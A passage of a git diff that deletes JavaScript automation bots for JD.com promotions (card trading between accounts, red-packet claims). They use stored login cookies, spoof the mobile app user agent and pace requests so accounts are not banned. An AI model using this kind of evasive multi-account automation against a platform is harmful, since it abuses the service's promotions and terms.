(cookiesArr[i]) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - let runFg = false; - for(let cardName in needKardInfo){ - let oneCardInfo = needKardInfo[cardName]; - for(let needUser in oneCardInfo){ - if(needUser === $.UserName){ - let oneInfo = oneCardInfo[needUser]; - if(oneInfo.flag === '2' && oneInfo.cardId){ - runFg = true; - } - } - } - } - if(runFg){ - await main($.cookie,3); - await $.wait(1000) - }else{ - //console.log(`\n${$.UserName},没有卡片可以领取`); - } - } - } - -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) - -async function main(ck,runType) { - let usName = decodeURIComponent(ck.match(/pt_pin=([^; ]+)(?=;?)/) && ck.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - let UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; - let mainInfo = await takePost('{"apiMapping":"/api/index/indexInfo"}',ck,UA); - if(runType === 1){ - if(JSON.stringify(mainInfo) === '{}'){ - console.log(`\n${usName},获取活动详情失败`); - return ; - } - console.log(`\n第${$.index}个账号,${usName},获取活动详情成功`); - } - if(runType === 1){ - let cardInfo = await takePost('{"apiMapping":"/api/card/list"}',ck,UA); - if(cardInfo && cardInfo.cardList){ - - }else{ - console.log(`获取卡片列表失败`); - return ; - } - let cardList = cardInfo.cardList; - console.log(`\n${usName},拥有卡片情况`) - for (let i = 0; i < cardList.length; i++) { - console.log(`名称:${cardList[i].cardName},数量:${cardList[i].count}`); - haveCardInfo[cardList[i].cardName+usName] = cardList[i].count; - } - let needMessage = ''; - for (let i = 0; i < cardList.length; i++) { - if(cardList[i].count === 0){ - needMessage += `${cardList[i].cardName};` - if(!needKardInfo[cardList[i].cardName]){ - needKardInfo[cardList[i].cardName] = {}; - } - if(!needKardInfo[cardList[i].cardName][usName]){ - needKardInfo[cardList[i].cardName][usName] = {'flag':'1','cardId':null,'sendUser':null}; - } - } - } - if(needMessage){ - console.log(`\n缺少卡片:${needMessage}`); - } - } - if(runType === 2){ - let cardInfo = await takePost('{"apiMapping":"/api/card/list"}',ck,UA); - let cardList = cardInfo.cardList; - if(cardInfo && cardInfo.cardList){ - - }else{ - console.log(`获取卡片列表失败`); - return ; - } - for (let i = 0; i < cardList.length; i++) { - if(cardList[i].count >0){ - let needInfo = needKardInfo[cardList[i].cardName]; - for(let needUser in needInfo){ - let oneCardInfo = needInfo[needUser]; - if(oneCardInfo.flag === '1'){ - let sendId = await takePost(`{"cardId":${cardList[i].cardId},"apiMapping":"/api/card/share"}`,ck,UA); - console.log(`\n${usName} 赠送 ${needUser},卡片:${cardList[i].cardName},赠送ID:${sendId}`); - oneCardInfo.flag = '2'; - oneCardInfo.cardId = sendId; - oneCardInfo.sendUser = usName; - await $.wait(3000); - break; - } - } - } - } - } - if(runType === 3){ - for(let cardName in needKardInfo){ - let oneCardInfo = needKardInfo[cardName]; - for(let needUser in oneCardInfo){ - if(needUser === usName){ - let oneInfo = oneCardInfo[needUser]; - if(oneInfo.flag === '2' && oneInfo.cardId){ - console.log(`\n领取 ${oneInfo.sendUser} 赠送的【${cardName}】,赠送ID:${oneInfo.cardId}`); - let receiveCard = await takePost(`{"uuid":"${oneInfo.cardId}","apiMapping":"/api/card/receiveCard"}`,ck,UA); - console.log(`领取结果:\n${JSON.stringify(receiveCard)}`); - await $.wait(3000); - } - } - } - } - } -} -async function takePost(info,ck,UA){ - let body = `appid=china-joy&functionId=collect_bliss_cards_prod&body=${info}&t=${Date.now()}&loginType=2` - let options = { - url: `https://api.m.jd.com/api`, - body:body, - headers: { - "Host":"api.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Content-Type":"application/x-www-form-urlencoded", - "Origin":"https://yearfestival.jd.com", - 'Cookie': ck, - "Accept-Language": "zh-CN", - "User-Agent": UA, - "Referer": `https://yearfestival.jd.com/`, - "Accept-Encoding": "gzip, deflate, br", - } - } - return new Promise(resolve => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if(data){ - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data['data'] || {}); - } - }) - }) -} -function randomWord(randomFlag, min, max){ - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if(randomFlag){ - range = Math.round(Math.random() * (max-min)) + min; - } - for(var i=0; i-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_ms_redrain.js b/activity/jd_ms_redrain.js deleted file mode 100644 index 6d2ed8e..0000000 --- a/activity/jd_ms_redrain.js +++ /dev/null @@ -1,206 +0,0 @@ -/* -秒杀红包雨,可以获取3次,一天运行一次即可 -活动时间:2020-12-1 到 2020-12-31 -活动入口:首页👉秒杀👉往下拉(手指向上滑动)👉可以看到狂撒2亿京东 -更新地址:jd_ms_redrain.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#秒杀红包雨 -10 7 * * * jd_ms_redrain.js, tag=秒杀红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true - -================Loon============== -[Script] -cron "10 7 * * *" script-path=jd_ms_redrain.js, tag=秒杀红包雨 - -===============Surge================= -秒杀红包雨 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_ms_redrain.js - -============小火箭========= -秒杀红包雨 = type=cron,script-path=jd_ms_redrain.js, cronexpr="10 7 * * *", timeout=3600, enable=true - */ -const $ = new Env('秒杀红包雨'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - for(let i=0;i<3;++i){ - await getRedRain(); - await $.wait(5000); //防止黑号 - } - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(async resolve => { - let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; - if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { - $.msg($.name, '活动已结束', `咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) - } else { - $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); - } - resolve() - }) -} -function getRedRain() { - return new Promise(resolve => { - const body = {"actId":"RRA318jCtaXhZJgiLryM1iydEhc7Jna"}; - $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === '0') { - console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) - // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` - message+= `${data.lotteryResult.jPeasList[0].ext}:${(data.lotteryResult.jPeasList[0].quantity)}京豆\n` - - } else if (data.subCode === '8') { - console.log(`今日次数已满`) - message += `领取失败,今日已签到\n`; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://h5.m.jd.com/active/redrain/index.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_mt.js b/activity/jd_mt.js deleted file mode 100644 index 29252f0..0000000 --- a/activity/jd_mt.js +++ /dev/null @@ -1,528 +0,0 @@ -/* -组队分豆-美泰 [jd_mt.js] - -———————————————— -入口:[组队分豆-美泰 (https://lzkjdz-isv.isvjcloud.com/pool/captain/725732?activityId=9a1508ec3d2549dfa8187dcbfd590a34&signUuid=5e5d87e47a8a4f8ab2656e2ce879dc00)] -IOS等用户直接用NobyDa的jd cookie -============Quantumultx=============== -[task_local] -#组队分豆-美泰 -18 2,14 * * * jd_mt.js -================Loon============== - -*/ -const $ = new Env("组队分豆-美泰"); -const jdCookieNode = $.isNode() 